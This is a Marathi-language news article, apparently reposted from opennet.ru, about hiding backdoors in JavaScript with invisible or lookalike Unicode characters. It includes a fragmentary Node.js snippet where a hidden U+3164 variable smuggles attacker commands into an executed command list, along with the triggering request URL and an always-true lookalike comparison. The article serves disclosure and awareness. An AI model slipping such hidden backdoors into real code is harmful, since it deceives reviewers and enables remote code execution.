🥇जावास्क्रिप्ट कोडमध्ये कृती लपवण्यासाठी अदृश्य युनिकोड वर्ण वापरणे

द्विदिशात्मक मजकूराचा डिस्प्ले क्रम बदलणाऱ्या युनिकोड अक्षरांच्या वापरावर आधारित ट्रोजन सोर्स अटॅक पद्धतीचे अनुसरण करून, लपविलेल्या क्रियांची ओळख करून देणारे दुसरे तंत्र प्रकाशित केले गेले आहे, जे JavaScript कोडला लागू आहे. नवीन पद्धत युनिकोड वर्ण “ㅤ” (कोड 0x3164, “हंगुल फिलर”) च्या वापरावर आधारित आहे, जी अक्षरांच्या श्रेणीशी संबंधित आहे, परंतु कोणतीही दृश्यमान सामग्री नाही. युनिकोड श्रेणी ज्यामध्ये हे वर्ण आहे ते ECMAScript 2015 स्पेसिफिकेशन पासून JavaScript व्हेरिएबल नावांमध्ये वापरण्यासाठी परवानगी देण्यात आली आहे, ज्यामुळे Notepad++ आणि VS कोड सारख्या लोकप्रिय कोड एडिटरमध्ये अदृश्य व्हेरिएबल्स किंवा नवीन व्हेरिएबल्स तयार करणे शक्य झाले आहे.

उदाहरण म्हणून, Node.js प्लॅटफॉर्मसाठी कोड दिलेला आहे, ज्यामध्ये, "ㅤ" एकल वर्ण असलेले व्हेरिएबल वापरून, एक बॅकडोअर लपविला आहे जो आक्रमणकर्त्याने निर्दिष्ट केलेला कोड कार्यान्वित करण्यास अनुमती देतो: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // खरं तर ते "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // स्वल्पविराम नंतर वर्ण \u3164 ];

पहिल्या दृष्टीक्षेपात, बाह्य पॅरामीटरमधून केवळ कालबाह्य मूल्य पास केले जाते आणि कार्यान्वित केल्या जाणाऱ्या आदेशांसह ॲरेमध्ये एक निरुपद्रवी निश्चित सूची असते. पण खरं तर, कालबाह्य व्हेरिएबल नंतर, कॅरेक्टर कोड \u3164 सह दुसर्या अदृश्य व्हेरिएबलचे मूल्य नियुक्त केले जाते, जे एक्झिक्युटेबल कमांडच्या ॲरेमध्ये देखील बदलले जाते. अशा प्रकारे, अशी रचना उपलब्ध असल्यास, आक्रमणकर्ता बॅकडोअर सक्रिय करण्यासाठी आणि त्यांचा कोड कार्यान्वित करण्यासाठी “https://host:8080/network_health?%E3%85%A4=command” सारखी विनंती पाठवू शकतो.

दुसरे उदाहरण म्हणजे "ǃ" (अल्व्होलर क्लिक) वर्ण, ज्याचा उपयोग उद्गार बिंदू दर्शविणारा देखावा देण्यासाठी केला जाऊ शकतो. उदाहरणार्थ, Node.js 14 मध्ये कार्यान्वित केल्यावर “if(environmentǃ=ENV_PROD){” ही अभिव्यक्ती नेहमीच सत्य असेल, कारण ती फरक तपासत नाही, परंतु ENV_PROD चे मूल्य “environmentǃ” व्हेरिएबलला नियुक्त करते. इतर दिशाभूल करणाऱ्या युनिकोड वर्णांमध्ये "／", "−", "＋", "⩵", "❨", "⫽", "꓿" आणि "∗" यांचा समावेश होतो.

स्त्रोत: opennet.ru

JavaScript कोडमधील क्रिया लपविण्यासाठी अदृश्य युनिकोड वर्ण वापरणे

ProHoster